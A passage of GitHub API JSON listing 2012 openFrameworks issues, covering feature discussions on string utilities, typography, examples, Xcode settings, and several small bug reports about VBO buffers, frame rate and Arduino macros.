"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","id":3911629,"number":1132,"title":"ofStringUtils:: feature discussion","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-03-31T17:52:48Z","updated_at":"2012-08-27T23:35:02Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","id":3911537,"number":1131,"title":"ofTTF feature discussion","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":25,"created_at":"2012-03-31T17:36:25Z","updated_at":"2012-05-27T17:40:30Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","id":3910580,"number":1130,"title":"Define standard header for examples.","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-03-31T14:44:01Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Agree on a common format for a header in the contributed example files."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","id":3910549,"number":1128,"title":"upgrade scripts","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-31T14:38:19Z","updated_at":"2012-03-31T16:32:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","id":3897090,"number":1126,"title":"PG Feature request: Clean examples folder","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":1,"created_at":"2012-03-30T12:51:30Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","id":3883598,"number":1124,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","user":{"login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","html_url":"https://github.com/jesusgollonet","followers_url":"https://api.github.com/users/jesusgollonet/followers","following_url":"https://api.github.com/users/jesusgollonet/following","gists_url":"https://api.github.com/users/jesusgollonet/gists{/gist_id}","starred_url":"https://api.github.com/users/jesusgollonet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jesusgollonet/subscriptions","organizations_url":"https://api.github.com/users/jesusgollonet/orgs","repos_url":"https://api.github.com/users/jesusgollonet/repos","events_url":"https://api.github.com/users/jesusgollonet/events{/privacy}","received_events_url":"https://api.github.com/users/jesusgollonet/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-29T16:47:29Z","updated_at":"2012-06-07T12:06:49Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","id":3856005,"number":1120,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","user":{"login":"imanhp","id":1216228,"avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"7398ab0bbd07832d0289f26773e65077","url":"https://api.github.com/users/imanhp","html_url":"https://github.com/imanhp","followers_url":"https://api.github.com/users/imanhp/followers","following_url":"https://api.github.com/users/imanhp/following","gists_url":"https://api.github.com/users/imanhp/gists{/gist_id}","starred_url":"https://api.github.com/users/imanhp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/imanhp/subscriptions","organizations_url":"https://api.github.com/users/imanhp/orgs","repos_url":"https://api.github.com/users/imanhp/repos","events_url":"https://api.github.com/users/imanhp/events{/privacy}","received_events_url":"https://api.github.com/users/imanhp/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-03-28T16:21:45Z","updated_at":"2012-03-29T13:05:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1117/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1117","id":3825582,"number":1117,"title":"Can't retrieve desired frame rate once set","user":{"login":"armadillu","id":167057,"avatar_url":"https://secure.gravatar.com/avatar/b87a82d7c86161432ee6388c7cbd5e2c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b87a82d7c86161432ee6388c7cbd5e2c","url":"https://api.github.com/users/armadillu","html_url":"https://github.com/armadillu","followers_url":"https://api.github.com/users/armadillu/followers","following_url":"https://api.github.com/users/armadillu/following","gists_url":"https://api.github.com/users/armadillu/gists{/gist_id}","starred_url":"https://api.github.com/users/armadillu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/armadillu/subscriptions","organizations_url":"https://api.github.com/users/armadillu/orgs","repos_url":"https://api.github.com/users/armadillu/repos","events_url":"https://api.github.com/users/armadillu/events{/privacy}","received_events_url":"https://api.github.com/users/armadillu/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-03-27T11:48:00Z","updated_at":"2012-04-18T17:13:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis can be useful to compare the desired frame rate with actual frame rate and react accordingly if required."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1116/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1116","id":3813852,"number":1116,"title":"ofVBO updateIndexData incorrect buffer type.","user":{"login":"vade","id":65011,"avatar_url":"https://secure.gravatar.com/avatar/37aca214d4875cd90af9d67072c82642?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"37aca214d4875cd90af9d67072c82642","url":"https://api.github.com/users/vade","html_url":"https://github.com/vade","followers_url":"https://api.github.com/users/vade/followers","following_url":"https://api.github.com/users/vade/following","gists_url":"https://api.github.com/users/vade/gists{/gist_id}","starred_url":"https://api.github.com/users/vade/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vade/subscriptions","organizations_url":"https://api.github.com/users/vade/orgs","repos_url":"https://api.github.com/users/vade/repos","events_url":"https://api.github.com/users/vade/events{/privacy}","received_events_url":"https://api.github.com/users/vade/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":5,"created_at":"2012-03-26T18:26:05Z","updated_at":"2012-03-26T22:27:14Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"https://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/gl/ofVbo.cpp#L343\r\n\r\nIndices should be specified as GL_ELEMENT_ARRAY_BUFFER unless I am mistaken."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1115/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1115","id":3812318,"number":1115,"title":"optimization level in xcode projects","user":{"login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","html_url":"https://github.com/colormotor","followers_url":"https://api.github.com/users/colormotor/followers","following_url":"https://api.github.com/users/colormotor/following","gists_url":"https://api.github.com/users/colormotor/gists{/gist_id}","starred_url":"https://api.github.com/users/colormotor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colormotor/subscriptions","organizations_url":"https://api.github.com/users/colormotor/orgs","repos_url":"https://api.github.com/users/colormotor/repos","events_url":"https://api.github.com/users/colormotor/events{/privacy}","received_events_url":"https://api.github.com/users/colormotor/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-03-26T17:05:14Z","updated_at":"2012-03-26T18:45:51Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"The default optimization settings for debug builds in example XCode projects is set to Fastest,Smallest thus making debugging very difficult, is there a specific reason for this?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1114/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1114","id":3812275,"number":1114,"title":"macros in ofArduino","user":{"login":"colormotor","id":1239872,"avatar_url":"https://secure.gravatar.com/avatar/2548dbd6a86902ed5260b5f76710b83c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2548dbd6a86902ed5260b5f76710b83c","url":"https://api.github.com/users/colormotor","html_url":"https://github.com/colormotor","followers_url":"https://api.github.com/users/colormotor/followers","following_url":"https://api.github.com/users/colormotor/following","gists_url":"https://api.github.com/users/colormotor/gists{/gist_id}","starred_url":"https://api.github.com/users/colormotor/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colormotor/subscriptions","organizations_url":"https://api.github.com/users/colormotor/orgs","repos_url":"https://api.github.com/users/colormotor/repos","events_url":"https://api.github.com/users/colormotor/events{/privacy}","received_events_url":"https://api.github.com/users/colormotor/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-03-26T17:02:21Z","updated_at":"2012-08-02T10:10:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I had some problems because of macro definitions in ofArduino.h overriding an enum in a a class of my codebase ( SHIFT )\r\nIt's not exactly a bug! but I would suggest using enums or const int instead of the macros to avoid any conflicts\r\nI solved the problem by modifying \r\n#define SHIFT 0x05 \r\ninto \r\nconst int SHIFT = 0x05;\r\n\r\nanother solution could be using enumerations as \r\nenum\r\n{\r\n ...\r\n SHIFT = 0x05,\r\n etc...\r\n};\r\n\r\nI believe this would not break any of the existing code\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1110/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1110","id":3799872,"number":1110,"title":"add a simple regex function like ofSplitString()","user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-03-25T18:56:37Z","updated_at":"2012-03-25T20:07:16Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Todd's example has this code a few times in it by hand, but I'm thinking it's so simple it could be added along side ofSplitString() and would be really useful ? for sure, more string utility functions are helpful, and for basic text parsing, this is great. Poco gives us this for free, so it doesn't seem like a huge stretch to think of something like this, plus find and replace, etc. Would make the regex example much shorter. \r\n\r\np5 has something similar, if that's a helpful argument: \r\n\r\nhttp://processing.org/reference/matchAll_.html\r\n\r\n\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex );\r\n\tvector < string > ofxRegex::getMatchedStrings (string contents, string regex ){\r\n \r\n\t 